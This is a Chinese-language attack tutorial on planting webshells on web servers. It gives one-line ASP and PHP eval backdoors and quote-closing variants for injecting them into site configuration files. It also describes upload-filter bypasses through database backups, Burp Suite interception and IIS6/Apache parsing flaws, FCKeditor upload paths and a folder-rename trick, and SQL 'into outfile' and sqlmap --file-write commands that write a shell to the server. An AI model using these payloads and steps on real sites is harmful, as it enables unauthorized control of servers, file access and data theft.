上传漏洞的利用目的:将webshell上传到目标服务器中(在获得网站管理员权限的前提下)
webshell是利用ASP或PHP等语言编写的基于web木马后门,通过webshell可以控制web站点,包括上传下载文件,查看数据库,执行系统命令。
一句话密码(一小段ASP或PHP)
ASP:
<%eval request(“pass”)%> (双引号中间填写的是密码)
PHP:
<?php @eval($_POST[ 'pass' ]);?>
上传至服务器后通过中国菜刀远程连接。一句话木马可能文件体积太小,可不断进行复制粘贴增大文件大小
利用数据备份上传webshell
思路:先通过图片格式(.jpg或其他)上传webshell,然后再通过数据库备份功能修改文件后缀(找到数据库备份然后选择备份文件路径(URL),修改备份文件的时间这里改成自己所需要的后缀名,点击确定,备份完成后会显示备份成功的物理路径),获取URL地址访问webshell。
利用审查元素突破上传限制
修改网站中的\admin\Manage_backup.asp文件,在input标签中添加属性 “disabled=disabled”,使其变为不可写。修改的话在web浏览器前端查看审计元素删除此字段即可(web分为前端和后端向HTML,JavaScript等要在浏览器前端进行编辑显示,而像PHP,ASP等不会在前端显示)
插入一句话木马(不用上传)
利用网站后台所提供的功能进行插入:友情链接,页面编辑,模块编辑等。
一般在系统管理的网站配置下进行插入(不插入到静态页面数据库中而是插入到动态脚本文件中网页文件中,插入到网站配置是因为他是一个独立的网站文件但事先要找到其文件位置一般是Inc\config.asp文件下)
对代码进行改造
“%><%eval request(“pass”)%><%’ (要先进行闭合开始结束的地方后面的’是ASP注释掉未闭合的”)
"?><?php @eval($_POST['pass']);?><?php# (原理同上PHP中#代表注释)
"%>的作用是将原有的引导和<%闭合;<%的作用是保证一句话木马后的代码的完整性。然后再注释掉本行未完成的部分。
插入一句话木马搞不好破坏性强,另外需要记住输入数据的文件URL地址,这点得靠经验。
利用抓包上传webshell
思路:利用burpsuite抓包(在Proxy/Options/listeners中设置监听IP地址和端口号。如果出现问题,可以从Alerts中看到提示消息)得到上传路径和cookie,获得后再将上传的webshell后缀的照片形式改成asp格式,再通过明小子的综合上传功能获取上传后文件路径URL
***2.**解析漏洞(针对web服务器而言的 IIS Apache)
IIS解析漏洞
如果一个目录以“xxx.asp”的形式命名,那么该目录下的所有类型的文件都会被当作asp文件进行解析执行。
如果一个文件的扩展名采用 “.asp;.jpg”的形式(*是可以用任何字符表示),那么该文件也会被当做asp文件解析执行。
目标网站:利用win2003中的IIS6.0搭建网站
Apache解析漏洞
Apache在解析文件时有个原则:当碰到不认识的扩展名时,将会从后向前解析,直至碰到认识的扩展名为止。在Apache1.x和Apache2.x都存在解析漏洞
***3.***编辑器上传漏洞(可以不进入后台上传漏洞)
常见文本编辑器有FCKeditor、Ewebeditor。功能类似,一般有图片上传、远程下载等功能。
FCKeditor编辑器漏洞
主要思路:
通过搜索引擎等方式获知网站是否使用FCKeditor。
获取或者猜测FCKeditor的安装目录。
利用IIS6解析漏洞上传一句话木马或者webshell
FCKeditor敏感信息
查看版本号
/FCKEditor/editor/dialog/fck_about.html
/FCKEditor/_whatsnew.html
默认上传页面
/FCKEditor/editor/filemanager/browser/default/browser.html
/FCKEditor/editor/filemanager/browser/default/connectors/test.html
/FCKEditor/editor/filemanager/upload/test.html
/FCKEditor/editor/filemanager/connectors/test.html
/FCKEditor/editor/filemanager/connectors/uploadtest.html
部署配置FCKEditor(win2003服务器上利用IIS环境下)
将FCKeditor上传至网站主目录C:\Inetpub\wwwroot,是对FCKeditor属性中增加来宾账户(匿名访问 Internet 信息服务的内置帐户)和users对目录的访问,并配置这两个用户组拥有读取和运行权限(这样才可上传文件)。
配置FCKeditor支持ASP: FCKeditor默认只支持PHP,修改FCKeditor/fckconfig.js文件,修改下面的代码(271行和272行),将“php”改为“asp”
var_FileBrowserLanguage=‘php’;
var_QuickUploadLanguage=‘php’;
开启文件上传功能 : 修改/FCKeditor/editor/filemanager/connectors/asp/config.asp文件(29行和35行)
ConfiglsEnabled=Flase //将Flase改为True
ConfigUserFilePath="/userfiles/" //将字符串改为自己的上传目录(也可不修改)
新建文件上传目录,并配置访问权限 :在网站跟目录下创建userfiles目录,FCKeditor会自动根据用户上传文件类型(如file\image\media…)自动创建子文件夹。配置Internet来宾用户对userfiles目录具有读取、写入、运行权限。
设置IIS启用父路径 (父路径:在程序中通过‘…/…/’方式访问上层目录)右击网站站点->属性->主目录->配置->选项->勾选“启用父路径”
设置IIS支持ASP:web服务扩展->Active Serve Pages(设为允许)
编辑器漏洞的利用
查看FCKeditor编辑器版本(不同版本有不同的漏洞)上传页面
/fckeditor/editor/dialog/fck_about.html
/fckeditor/_whatsnew.html
利用文件夹名解析漏洞尝试绕过(前提要是IIS6服务器)
正常创建文件夹1.asp,会被替换为1_asp(这是因为被过滤掉了将所有asp格式前的点换为下划线)
修改父目录名字。在burpsuite中将CurrentFolder=%2F修改为CurrentFolder=%2F1.asp。此时再上传后缀是JPG的一句话木马。
SQL语句执行(针对PHP网站)
通过mysql中的 “select…into outfile"语句可向网站写入文件
select “test” into outfile “D://AppleServ/www/test.txt”;
注意,文件路径中的分隔符是斜杠/,而不是反斜杠\(Windows中物理路径是用\表示URL中是使用/)
select * from hack union select 1,2,3 into outfile “D:/AppleServ/www/test2.txt” (新创一个txt文件表将hack表中的数据存入其中)
select * from hack union select 1,”<?php @eval($_POST['pass']);?>",3 into outfile “D:/AppleServ/www/test3.php”
入侵成功前提
网站数据库必须是MSSQL或者MySQL,对于ACCESS数据库无效
当前用户必须具有数据库管理员的操作权限
必须要获取目标网站的物理路径
利用sqlmap执行SQL语句
先将一句话木马存放到本地文件d:\ma.php中
获取到目标网站的物理路径C:\NPMserv\www
--file-write参数指定本地文件路径
--file-dest参数指定目标路径
sqlmap.py -u “http://…” -file-write “d:/ma.php” --file-dest “C:/NPMserv/www/ma.php”